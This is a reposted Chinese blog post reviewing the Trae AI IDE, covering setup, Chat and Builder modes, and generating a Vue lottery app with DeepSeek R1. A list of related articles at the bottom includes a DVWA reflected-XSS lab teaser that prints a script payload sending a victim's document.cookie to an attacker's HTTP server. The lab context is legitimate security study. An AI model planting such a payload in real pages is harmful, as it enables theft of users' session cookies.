Trae AI编程快速上手:半小时完成年会抽奖程序

news/2025/3/4 0:40:09/文章来源:https://www.cnblogs.com/youring2/p/18749711

Trae AI编程快速上手:半小时完成年会抽奖程序

朋友们,今天听说字节上线了Trae 国内版,对标Claude的一款AI智能IDE,晚上迫不及待的下载安装,并使用trae来创建一个年会抽奖程序(方便和cline做对比)。废话不多说,马上奉上体验报告!

安装&启动

下载地址:https://www.trae.com.cn/

打开网址,根据你的操作系统选择对应版本,我使用的windows系统,这里默认的就是windows,直接下载,无脑下一步安装。

安装完成后打开Trae,界面非常简洁:

这里会进行一些配置,我们点击开始按钮,继续下一步:

选择自己喜欢的主题,我这里选择的是亮色,黑色和深蓝配色也很棒,大家可以选一个自己舒适的颜色。选定后继续:

因为trae是基于vs code开发的,完全兼容vscode的插件和配置,由于我想要一个干净的开发环境来进行测试,因此这里选择跳过。等后面验证完开发功能之后再决定是否导入。跳过导入之后继续:

添加命令行,trae可以通过命令行来启动。这里用处不大,我选择了安装,如果在刚好打开命令行,启动trae会更方便一些。安装完成后继续下一步:

这里是配置的最后一步,刚开始我选择跳过,但是打开之后如果不登录,则无法使用AI功能,因此这里点击登录。此时会打开浏览器,在浏览器登录完成后会对trae授权。目前支持两种登录方式:

  1. 手机号登录
  2. 掘金账号登录

我这里使用手机号进行登录。登陆后打开编辑器:

界面依然简洁,左侧是工作区,右侧是AI助手面板。

AI编程配置

当我们登录账号后,在AI面板会展示出来支持的两种模式,分别是Chat模式和Builder模式。

Chat模式

Trae Chat模式左侧面板展示一个对话框,用来输入我们想要AI帮助解决的问题。在窗口底部右侧可以选择使用的AI模型

目前支持的模型有:

  1. Doubao-1.5-pro (默认)
  2. DeepSeek-Reasoner(R1)
  3. DeepSeek-Chat(V3)

这些模型都是免费无限量使用的,我们可以随便提问,速度非常快。相比于让AI给出编程提示,我更喜欢Builder模式,因此快速跳到下一节,期待已久的Builder模式!

Builder模式(Alpha)

在切换模式时可以明确看到,Builder模式仍处于Alpha阶段,功能可能会不稳定(所以使用过程中我们要多一些包容,慢慢尝试,细心引导):

启动后,我们可以看到和Chat模式相似的窗口:

在builder模式中,我们可以使用两种大模型,分别是(字节自家的豆包还不支持):

  1. DeepSeek-Reasoner(R1)
  2. DeepSeek-Chat(V3)

我们这里选择DeepSeek R1,在对话框里输入:

帮我生成一个基于网页的抽奖程序,要求采用vue来进行开发,界面简洁,易于使用

回车,让代码飞一会儿~

trae在执行命令的时候,会停下来让我们审阅和运行。我们点击运行,trae会帮我们运行创建项目的命令,接下来每一个步骤都会询问我们(个人感觉有点烦哦,可能是Alpha的原因),命令行里执行代码也需要选择和确认:

项目生成完之后,又通过几个指令对功能进行微调,全程没有输入一行代码,仅告诉trae需要什么,要进行哪些修改,耗时半个小时左右,完成了一个效果还说得过去的抽奖程序:

(为啥总是写抽奖程序呢?因为刚入坑的时候,几乎每年都有朋友问我要抽奖程序。这回好了,AI可以帮他们搞定~)

总结

朋友们,今天这篇文章只能算是trae初体验,但是我已经被Trae AI IDE震撼了,尽管目前Trae还处于Alpha阶段,但是功能已经如此强悍了,代码辅助、自动编码、代码补全……后面会对我们的开发提供什么样的帮助,让我们一起期待吧~

推荐阅读

  1. 编程神器!Cline+DeepSeek零门槛对话式编程,小白变全栈
  2. 清华大学DeepSeek教程下载地址分享

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/893231.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[虚拟机] VMWare FAQ

FAQ for VMWare Q: VMnet0没有?VMware桥接出现无法将网络更改为桥接状态、没有未桥接的主机网络适配器?问题现象现象1:不论你怎么配置虚拟机实例(如CENTOS7),桥接模式下始终无法ping通本地的其他ip,也无法ping通互联网(如百度)现象2:虚拟网络编辑器中没有VMnet问题分…

matlab 2024b help 设置内置浏览器

新安装的matlab 2024b 下载离线的help doc iso文件 进行离线安装 加载help iso后 在加载目录中执行以下命令: .\mpm install-doc --matlabroot= --destination=是matlab2024b 安装目录 是matlab help doc 安装目录 在matlan安装目录 startuprc.mw文件中增加以下:指示help do…

dvwa xss reflected (low)

开启一个简易的http服务(我用了kali)2.插入Payload<script>window.open(http://192.168.1.105:1234/?cookie=+btoa(document.cookie)) </script>3.受害者访问攻击者插入xss代码的网页,浏览器就会加载插入的JavaScript代码,打开新网页的时候可能会被拦截,注意将…

2020-PTA总决赛-L2-1 简单计算器(仅代码)

简单题,无解析题如其名,简单,栈最基本用法,题怎么说就怎么做,没有坑。Code: #include<bits/stdc++.h> using namespace std; stack<int> S1; stack<char> S2; int main(){int N, M;cin >> N;M = N - 1;while(N--){int v;cin >> v;S1.push(v…

ITS备件汇总

电气 光电传感器 接近传感器 位移尺 伺服 探针 气动 气缸 真空发生器/吸盘 气动接头 机加工件 机械标准件

INFINI Labs 推出 Coco AI,携手 DeepSeek 打造下一代企业知识管理神器!

随着企业信息化程度的飞速提升,海量数据正以前所未有的速度涌现,这些数据分散在内网 Wiki、JIRA、Google Workspace、Dropbox、Notion、GitHub 等多个平台中,形成了一个个难以逾越的“信息孤岛”。员工们在跨平台检索信息时,常常陷入“大海捞针”的困境,不仅浪费了大量时间…

2020-PTA总决赛-L1-8 刮刮彩票(仅代码)

简单题,无解析Code: #include<bits/stdc++.h> using namespace std; int arr[4][4], p[19] = {10000, 36, 720, 360, 80, 252, 108, 72, 54, 180, 72, 180, 119, 36, 306, 1080, 144, 1800, 3600}; int main(){int zero = 45, posx, posy; //初始是1~9的和for(int i = 1…

基于Docker在M芯片的Mac OS X系统中的部署和设置

参考 [基于Docker在M芯片的Mac OS X系统中的部署和设置GitLab Sakis 研究记录](https://sakishum.com/2023/04/11/%E5%9F%BA%E4%BA%8EDocker%E5%9C%A8M%E8%8A%AF%E7%89%87%E7%9A%84Mac-OS-X%E7%B3%BB%E7%BB%9F%E4%B8%AD%E7%9A%84%E9%83%A8%E7%BD%B2%E5%92%8C%E8%AE%BE%E7%BD%A…

2020-PTA总决赛-L1-7 前世档案(思路)

二叉树性质输入样例: 3 4 yny nyy nyn yyn输出样例: 3 5 6 2一开始居然傻傻的开始动手写二叉树的数据结构,还是题做少了... 写了一半感觉一个破L1的题凭什么这么麻烦,结果发现就是根据层序生成编号罢了 左子树编号是root2,右子树编号是root2+1部分正确Code: #include<bit…

50 Java正则表达式之Pattern和Matcher

前言 之前简单分析了Java正则表达式的基础用法和部分规则:String.matches方法使用 今天来看一下常用来处理正则表达式的两个类:Pattern 包名:java.util.regex.Pattern;Pattern 类用于表示一个正则表达式的编译版本。通过 Pattern.compile() 方法可以将一个正则表达式编译成一…

Cursor项目重构实践

在2025年3月的这个清晨,当我通过Cursor生成的TodoList项目首次运行时,那个将所有逻辑堆积在app.js中的"面条式代码"令人如鲠在喉。这促使我开启了一场与AI协作的重构之旅,以下是完整的心得记录 一、原始架构的痛点分析 初始项目采用典型的单体组件架构,app.js承载…

JUnit 版本影响 Bean 找不到

JUnit 版本影响 Bean 找不到 在为实现类编写测试类时,在测试类中使用构造器注入 Bean 时,提示找不到 Bean,代码如下: @Service public class WeChatServiceImpl implements IWeChatService {@Overridepublic String getNumber(String detailCode) { return detailCode; } }…